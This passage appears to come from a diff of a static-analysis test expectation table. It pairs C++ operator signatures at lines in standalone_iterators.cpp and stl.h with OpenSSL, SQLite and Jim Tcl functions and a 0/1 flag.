X509_STORE_CTX_get_ex_data | 1 | | standalone_iterators.cpp:103:27:103:36 | operator+= | (const XCHAR *,int) | CStringT | CStringT | 1 | | standalone_iterators.cpp:103:27:103:36 | operator+= | (const YCHAR *,int) | CStringT | CStringT | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const char *,int) | | DH_meth_new | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const char *,int) | | DSA_meth_new | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const char *,int) | | Jim_StrDupLen | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const char *,int) | | RSA_meth_new | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const char *,int) | | parse_yesno | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (int *,int) | | X509_PURPOSE_set | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (int *,int) | | X509_TRUST_set | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (int,int) | | BN_security_bits | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (int,int) | | EVP_MD_meth_new | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (int,int) | | EVP_PKEY_meth_new | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (int,int) | | acttab_alloc | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (rule *,int) | | Configlist_add | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (rule *,int) | | Configlist_addbasis | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (uint16_t,int) | | tls1_group_id2nid | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (unsigned char *,int) | | RAND_bytes | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (void *,int) | | DSO_dsobyaddr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (void *,int) | | sqlite3_realloc | 1 | | standalone_iterators.cpp:103:27:103:36 | operator+= | (wchar_t,int) | CStringT | CStringT | 1 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_tag2bit | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_tag2bit | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_tag2bit | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_tag2bit | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_tag2bit | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_tag2str | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_tag2str | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_tag2str | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_tag2str | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ASN1_tag2str | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Jim_ReturnCode | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Jim_ReturnCode | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Jim_ReturnCode | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Jim_ReturnCode | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Jim_ReturnCode | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Jim_SignalId | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Jim_SignalId | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Jim_SignalId | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Jim_SignalId | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Jim_SignalId | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2ln | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2ln | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2ln | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2ln | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2ln | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2obj | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2obj | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2obj | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2obj | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2obj | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2sn | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2sn | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2sn | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2sn | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OBJ_nid2sn | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | PKCS12_init | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | PKCS12_init | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | PKCS12_init | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | PKCS12_init | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | PKCS12_init | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Symbol_Nth | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Symbol_Nth | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Symbol_Nth | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Symbol_Nth | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | Symbol_Nth | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | evp_pkey_type2name | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | evp_pkey_type2name | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | evp_pkey_type2name | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | evp_pkey_type2name | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | evp_pkey_type2name | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_tolower | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_tolower | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_tolower | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_tolower | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_tolower | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_toupper | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_toupper | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_toupper | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_toupper | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | ossl_toupper | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | pulldown_test_framework | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | pulldown_test_framework | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | pulldown_test_framework | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | pulldown_test_framework | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | pulldown_test_framework | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_errstr | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_errstr | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_errstr | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_errstr | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_errstr | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | tls1_alert_code | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | tls1_alert_code | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | tls1_alert_code | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | tls1_alert_code | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | tls1_alert_code | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | tls13_alert_code | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | tls13_alert_code | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | tls13_alert_code | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | tls13_alert_code | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | tls13_alert_code | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | wait_until_sock_readable | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | wait_until_sock_readable | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | wait_until_sock_readable | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | wait_until_sock_readable | 0 | +| stl.h:52:12:52:21 | operator++ | (int) | | wait_until_sock_readable | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | ASN1_tag2bit | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | ASN1_tag2str | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | Jim_ReturnCode | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | Jim_SignalId | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | OBJ_nid2ln | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | OBJ_nid2obj | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | OBJ_nid2sn | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | PKCS12_init | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | Symbol_Nth | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | X509_TRUST_get0 | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | evp_pkey_type2name | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | ossl_tolower | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | ossl_toupper | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | pulldown_test_framework | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | sqlite3_errstr | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | tls1_alert_code | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | tls13_alert_code | 0 | +| stl.h:54:12:54:21 | operator-- | (int) | | wait_until_sock_readable | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | ASN1_tag2bit | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | ASN1_tag2str | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | Jim_ReturnCode | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | Jim_SignalId | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | OBJ_nid2ln | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | OBJ_nid2obj | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | OBJ_nid2sn | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | PKCS12_init | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | Symbol_Nth | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | X509_TRUST_get0 | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | evp_pkey_type2name | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | ossl_tolower | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | ossl_toupper | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | pulldown_test_framework | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | sqlite3_errstr | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | tls1_alert_code | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | tls13_alert_code | 0 | +| stl.h:59:12:59:20 | operator+ | (int) | | wait_until_sock_readable | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | ASN1_tag2bit | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | ASN1_tag2str | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | Jim_ReturnCode | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | Jim_SignalId | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | OBJ_nid2ln | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | OBJ_nid2obj | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | OBJ_nid2sn | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | PKCS12_init | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | Symbol_Nth | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | X509_TRUST_get0 | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | evp_pkey_type2name | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | ossl_tolower | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | ossl_toupper | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | pulldown_test_framework | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | sqlite3_errstr | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | tls1_alert_code | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | tls13_alert_code | 0 | +| stl.h:60:12:60:20 | operator- | (int) | | wait_until_sock_readable | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | ASN1_tag2bit | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | ASN1_tag2bit | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | ASN1_tag2str | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | ASN1_tag2str | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | Jim_ReturnCode | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | Jim_ReturnCode | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | Jim_SignalId | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | Jim_SignalId | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | OBJ_nid2ln | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | OBJ_nid2ln | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | OBJ_nid2obj | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | OBJ_nid2obj | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | OBJ_nid2sn | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | OBJ_nid2sn | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | PKCS12_init | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | PKCS12_init | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | Symbol_Nth | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | Symbol_Nth | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | X509_TRUST_get0 | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | X509_TRUST_get0 | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | evp_pkey_type2name | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | evp_pkey_type2name | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | ossl_tolower | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | ossl_tolower | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | ossl_toupper | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | ossl_toupper | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | pulldown_test_framework | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | pulldown_test_framework | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | sqlite3_errstr | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | sqlite3_errstr | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | tls1_alert_code | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | tls1_alert_code | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | tls13_alert_code | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | tls13_alert_code | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | wait_until_sock_readable | 0 | +| stl.h:61:13:61:22 | operator+= | (int) | | wait_until_sock_readable | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | ASN1_tag2bit | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | ASN1_tag2str 